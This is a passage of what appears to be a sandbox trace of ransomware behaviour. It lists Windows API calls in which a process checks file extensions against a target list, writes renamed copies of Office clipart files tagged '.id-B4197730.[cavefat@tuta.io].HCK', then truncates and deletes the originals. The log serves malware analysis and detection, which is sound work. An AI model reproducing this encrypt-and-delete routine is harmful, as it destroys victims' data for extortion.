lstrlenW (lpString=".docx") returned 5 [0155.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.664] lstrlenW (lpString=".pdf") returned 4 [0155.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".xls") returned 4 [0155.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.664] lstrlenW (lpString=".xlsx") returned 5 [0155.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.664] lstrlenW (lpString=".ppt") returned 4 [0155.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".zip") returned 4 [0155.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.664] lstrlenW (lpString=".rar") returned 4 [0155.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".bz2") returned 4 [0155.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".7z") returned 3 [0155.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".dbf") returned 4 [0155.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".1cd") returned 4 [0155.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".jpg") returned 4 [0155.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".doc") returned 4 [0155.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".docx") returned 5 [0155.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.665] lstrlenW (lpString=".pdf") returned 4 [0155.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString=".xls") returned 4 [0155.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.665] lstrlenW (lpString=".xlsx") returned 5 [0155.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.665] lstrlenW (lpString=".ppt") returned 4 [0155.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.665] lstrlenW (lpString=".zip") returned 4 [0155.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.665] lstrlenW (lpString=".rar") returned 4 [0155.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString=".bz2") returned 4 [0155.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString=".7z") returned 3 [0155.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.665] lstrlenW (lpString=".dbf") returned 4 [0155.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.665] lstrlenW (lpString=".1cd") returned 4 [0155.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.665] lstrlenW (lpString=".jpg") returned 4 [0155.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.665] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.665] lstrlenW (lpString="BD19828_.WMF") returned 12 [0155.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.666] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8772) returned 1 [0155.666] CloseHandle (hObject=0x364) returned 1 [0155.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0155.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.666] GetLastError () returned 0x0 [0155.666] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2244, lpOverlapped=0x0) returned 1 [0155.668] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2250, lpOverlapped=0x0) returned 1 [0155.668] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.668] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.668] SetEndOfFile (hFile=0x394) returned 1 [0155.669] CloseHandle (hObject=0x394) returned 1 [0155.669] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.669] SetEndOfFile (hFile=0x364) returned 1 [0155.670] CloseHandle (hObject=0x364) returned 1 [0155.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0155.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".doc") returned 4 [0155.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".docx") returned 5 [0155.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.671] lstrlenW (lpString=".pdf") returned 4 [0155.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".xls") returned 4 [0155.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.671] lstrlenW (lpString=".xlsx") returned 5 [0155.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.671] lstrlenW (lpString=".ppt") returned 4 [0155.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".zip") returned 4 [0155.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.671] lstrlenW (lpString=".rar") returned 4 [0155.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".bz2") returned 4 [0155.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".7z") returned 3 [0155.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".dbf") returned 4 [0155.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".1cd") returned 4 [0155.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".jpg") returned 4 [0155.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".doc") returned 4 [0155.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".docx") returned 5 [0155.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.671] lstrlenW (lpString=".pdf") returned 4 [0155.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".xls") returned 4 [0155.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.671] lstrlenW (lpString=".xlsx") returned 5 [0155.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.671] lstrlenW (lpString=".ppt") returned 4 [0155.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.671] lstrlenW (lpString=".zip") returned 4 [0155.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.671] lstrlenW (lpString=".rar") returned 4 [0155.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.671] lstrlenW (lpString=".bz2") returned 4 [0155.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.672] lstrlenW (lpString=".7z") returned 3 [0155.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.672] lstrlenW (lpString=".dbf") returned 4 [0155.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.672] lstrlenW (lpString=".1cd") returned 4 [0155.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0155.672] lstrlenW (lpString=".jpg") returned 4 [0155.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.672] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.672] lstrlenW (lpString="BD19986_.WMF") returned 12 [0155.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.672] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14486) returned 1 [0155.672] CloseHandle (hObject=0x364) returned 1 [0155.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0155.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.672] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.672] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.673] GetLastError () returned 0x0 [0155.673] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3896, lpOverlapped=0x0) returned 1 [0155.674] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0155.675] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.675] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.675] SetEndOfFile (hFile=0x394) returned 1 [0155.675] CloseHandle (hObject=0x394) returned 1 [0155.677] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.677] SetEndOfFile (hFile=0x364) returned 1 [0155.678] CloseHandle (hObject=0x364) returned 1 [0155.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0155.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.678] lstrlenW (lpString=".doc") returned 4 [0155.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.678] lstrlenW (lpString=".docx") returned 5 [0155.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.678] lstrlenW (lpString=".pdf") returned 4 [0155.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.678] lstrlenW (lpString=".xls") returned 4 [0155.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.678] lstrlenW (lpString=".xlsx") returned 5 [0155.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.678] lstrlenW (lpString=".ppt") returned 4 [0155.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".zip") returned 4 [0155.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.679] lstrlenW (lpString=".rar") returned 4 [0155.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".bz2") returned 4 [0155.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".7z") returned 3 [0155.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".dbf") returned 4 [0155.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".1cd") returned 4 [0155.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".jpg") returned 4 [0155.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".doc") returned 4 [0155.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".docx") returned 5 [0155.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.679] lstrlenW (lpString=".pdf") returned 4 [0155.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".xls") returned 4 [0155.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.679] lstrlenW (lpString=".xlsx") returned 5 [0155.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.679] lstrlenW (lpString=".ppt") returned 4 [0155.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".zip") returned 4 [0155.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.679] lstrlenW (lpString=".rar") returned 4 [0155.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".bz2") returned 4 [0155.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".7z") returned 3 [0155.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".dbf") returned 4 [0155.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.679] lstrlenW (lpString=".1cd") returned 4 [0155.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0155.680] lstrlenW (lpString=".jpg") returned 4 [0155.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.680] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.680] lstrlenW (lpString="BD19988_.WMF") returned 12 [0155.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.680] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18304) returned 1 [0155.680] CloseHandle (hObject=0x364) returned 1 [0155.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0155.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.680] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.680] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.681] GetLastError () returned 0x0 [0155.681] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4780, lpOverlapped=0x0) returned 1 [0155.682] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4790, lpOverlapped=0x0) returned 1 [0155.683] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.683] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.683] SetEndOfFile (hFile=0x394) returned 1 [0155.684] CloseHandle (hObject=0x394) returned 1 [0155.685] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.685] SetEndOfFile (hFile=0x364) returned 1 [0155.685] CloseHandle (hObject=0x364) returned 1 [0155.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0155.686] lstrlenW (lpString=".doc") returned 4 [0155.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".docx") returned 5 [0155.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.686] lstrlenW (lpString=".pdf") returned 4 [0155.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".xls") returned 4 [0155.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.686] lstrlenW (lpString=".xlsx") returned 5 [0155.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.686] lstrlenW (lpString=".ppt") returned 4 [0155.686] lstrcmpiW (lpString1=".ppt", 